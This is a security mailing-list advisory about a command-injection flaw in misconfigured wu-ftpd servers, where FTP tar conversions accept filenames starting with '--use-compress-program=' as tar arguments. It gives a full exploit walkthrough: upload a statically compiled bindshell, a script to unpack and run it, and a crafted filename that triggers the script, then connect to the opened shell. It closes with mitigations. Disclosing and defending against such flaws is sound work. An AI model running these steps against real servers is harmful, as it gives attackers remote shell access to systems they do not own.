[EMAIL PROTECTED] - the dangers of ftp conversions on misconfigured systems/ftpd 
(specifically wu-ftpd)

Summary:

        There exists a vulnerability with certain configurations of certain ftp 
daemons with which users with a valid
        ftp only acccount on a system may execute arbitrary commands (including 
binaries supplied by themselves). There
        also exists the possibilty that anonymous ftp users may execute arbitrary 
commands (also including binaries
        supplied by themselves).

        While this vulnerability is entirely configuration dependent. The required 
configuration is rather common. The
        requirements can be found in the example exploit section. Usually such 
misconfigurations are made only by the
        security-handicapped, and the documentation-illiterate. There is volumous 
amounts of documentation around which
        warn against this kind of configuration however it does not touch on this 
exact problem.

Background:

        FTP Conversion is the name given to the process whereby a user can 
convert/archive/compress data on the fly 
        when retrieving files from a FTP server. This is done when the FTP user 
requests a filename and appends
        .tar/.tar.gz/.Z/.gz to the filename. The FTP then opens a pipe through the 
requested binary (/bin/tar for example) 
        and sends the file through this pipe to the user.

Vulnerability:

        If a user with intent crafts a filename beginning with a '-' sign it is 
possible to pass arbitrary flags to the
        command invoked by FTPD. If the user also includes spaces in this filename, 
they may pass further arguments. Modern
        tar implementations include some fairly interesting arguments. For the 
purposes of lftpdthis advisory I will only
        detail one. 
        
                From the tar(1) man page:

                --use-compress-program PROG
                      filter the archive through PROG (which must accept -d)

        So it can be seen quite obviously that the flag:

                --use-compress-program=id

        will invoke the id command as a compression program for tar to filter through, 
obviously failing in the 
        process, but trying nonetheless.

        Using this mechanism it is possible to invoke any command in the path. It is 
also, as mentioned previously, possible
        to pass those commands further arguments.

Impact:
        The impacts of this bug are that any command within the path may be executed 
by users who may not have the ability to
        execute commands otherwise. If those commands can be coaxed into running other 
commands, a user may manage an
        interactive shell. Impacts may be restricted by the default behaviour of 
wu-ftpd to chroot() the anonymous ftp user. 
        However it is still possible for users to upload their own binaries and use 
your comprimised FTP server for something
        like:
                - launching attacks on your internal network which they may not have 
had the ability to do previously due to
                        ACL's etc
                - launching denial of service attacks on other sites from your FTP 
server
                - taking part in distributed attacks, or distributed denial service 
attacks, using your comprimised FTP server

Tested On:

        It must be stated here that this vulnerability is quite cross platform in that 
it is possible for FTP site
        administrators running wu-ftpd on any operating system to have configured FTPD 
in this manner. However it is generally
        more prevalant on Linux installations.

        I have verified this vulnerability against the following configuration:
        
                RedHat (5.2, 6.0, 6.1)
                anonftp package version 2.8.1
                wu-ftpd (2.4.2, 2.5.0, 2.6.0) 

Exploit Information:

        This vulnerability is simple to exploit. However to exploit it you must be 
able to upload/download files. (e.g. a
        mode 0777 incoming directory). Pretty common right? 

        I am only going to document 1 method of exploiting this. There are many, I 
leave it as an excercise to the
        reader to take things further. 

        For the purposes of this exploit you also need a shell in the remote path. For 
example, a RedHat machine with the
        anonftp package installed has exactly what you need.

        Firstly, assuming you are running the same platform as your target, statically 
compile some sort of backdoor program,
        The easiest thing I can think of to use is bindshell.c. 

        $ gcc bindshell.c -o b -static
        
        Secondly, tar this up. You will need to tar it up because the remote side will 
rarely have the ability to change
        permissions at this stage. (SITE CHMOD rarely works on anonymous ftp sites)

        $ tar -cf b.tar b

        Create a script of things you want to do on the remote site, this will be 
interpreted by bash or sh.

        $ cat > blah
        # 
        /bin/tar -xf b.tar
        ./b
        ^D

        Leave the first line as a comment. 

        Create a empty file called "--use-compress-program=sh blah"

        $ > "--use-compress-program=sh blah"

        Connect to your target ftp server.

        $ ftp localhost
        Connected to localhost.
        220 localhost.localdomain FTP server (Version wu-2.6.0(1) Tue Sep 21 10:10:10 
EDT 2000) ready.
        Name (localhost:suid): ftp
        331 Guest login ok, send your complete e-mail address as password.
        Password:
        230 Guest login ok, access restrictions apply.
        Remote system type is UNIX.
        Using binary mode to transfer files.
        ftp> 

        Change to your world writable directory:

        ftp> cd /incoming

        Store your files:

        ftp> put blah
        ftp> put b.tar
        ftp> put "--use-compress-program=sh blah"

        Now using TAR conversion, get your "--use-compress-program=sh blah" file.

        ftp> get "--use-compress-program=sh blah".tar

        It should open a connection then freeze. Now telnet to your bindshell port.    
 

Recommendations:

        WU-FTPD have taken the stance that because this vulnerability is more a 
configuration issue than anything else, they
        do not plan on releasing a patch. This is correct.

        You would be wise to evaluate the need for anonymous ftp on your server and 
remove the ability if possible.

        If you require anonymous ftp access, ensure there are no world writable 
directories, also ensure that the smallest
        amount of commands you can get away with exist in the ~ftp/bin directory.

        Disable ftp conversions in /etc/ftpacess

        Consult your documentation and follow the advice contained within. It is worth 
it.

        CERT and Auscert have released numerous papers, and advisories on these types 
of misconfigurations in the past
        read them!




        See my website for some more information:
        http://www.suid.edu/
        



=================================================================
To unsubscribe, send mail to [EMAIL PROTECTED] with
the word "unsubscribe" in the message body, e.g., run the command
echo unsubscribe | mail [EMAIL PROTECTED]

Reply via email to